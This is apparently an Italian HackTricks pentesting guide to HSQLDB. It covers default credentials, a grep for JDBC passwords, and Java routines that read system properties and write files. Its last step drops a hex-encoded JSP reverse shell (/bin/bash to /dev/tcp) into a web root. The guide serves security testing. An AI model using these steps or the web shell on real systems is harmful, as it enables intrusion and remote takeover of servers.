Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos di github.
# Informazioni di base
**HSQLDB \([HyperSQL DataBase](http://hsqldb.org/)\)** è il principale sistema di database relazionale SQL scritto in Java. Offre un motore di database piccolo, veloce, multithreaded e transazionale con tabelle in memoria e su disco e supporta modalità incorporate e server.
**Porta predefinita:** 9001
```text
9001/tcp open jdbc HSQLDB JDBC (Network Compatibility Version 2.3.4.0)
```
# Informazioni
### Impostazioni predefinite
Nota che di default questo servizio probabilmente viene eseguito in memoria o è collegato a localhost. Se lo hai trovato, probabilmente hai sfruttato un altro servizio e stai cercando di ottenere privilegi elevati.
Le credenziali predefinite di solito sono `sa` con una password vuota.
Se hai sfruttato un altro servizio, cerca possibili credenziali utilizzando
```text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search
```
Nota attentamente il nome del database: ne avrai bisogno per connetterti.
# Raccolta informazioni
Connettiti all'istanza del database scaricando HSQLDB e estraendo `hsqldb/lib/hsqldb.jar`. Avvia l'app GUI (eww) utilizzando `java -jar hsqldb.jar` e connettiti all'istanza utilizzando le credenziali scoperte/deboli.
Nota che l'URL di connessione avrà un aspetto simile a questo per un sistema remoto: `jdbc:hsqldb:hsql://ip/DBNAME`.
# Trucchi
## Routine del linguaggio Java
Possiamo chiamare i metodi statici di una classe Java da HSQLDB utilizzando le Routine del linguaggio Java. Tieni presente che la classe chiamata deve essere nel classpath dell'applicazione.
Le JRT possono essere `funzioni` o `procedure`. Le funzioni possono essere chiamate tramite istruzioni SQL se il metodo Java restituisce una o più variabili primitive compatibili con SQL. Vengono invocate utilizzando l'istruzione `VALUES`.
Se il metodo Java che vogliamo chiamare restituisce void, dobbiamo utilizzare una procedura invocata con l'istruzione `CALL`.
## Lettura delle proprietà di sistema Java
Crea la funzione:
```text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'
```
Esegui la funzione:
```text
VALUES(getsystemproperty('user.name'))
```
Puoi trovare un [elenco delle proprietà di sistema qui](https://docs.oracle.com/javase/tutorial/essential/environment/sysprop.html).
## Scrivere il contenuto su un file
Puoi utilizzare il gadget Java `com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename` situato nel JDK (caricato automaticamente nel classpath dell'applicazione) per scrivere elementi codificati in esadecimale su disco tramite una procedura personalizzata. **Nota la dimensione massima di 1024 byte**.
Creare la procedura:
```text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'
```
Esegui procedura:
```text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
```
Impara l'hacking di AWS da zero a eroe con htARTE (HackTricks AWS Red Team Expert)!
Altri modi per supportare HackTricks:
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Condividi i tuoi trucchi di hacking inviando PR ai repository github di** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).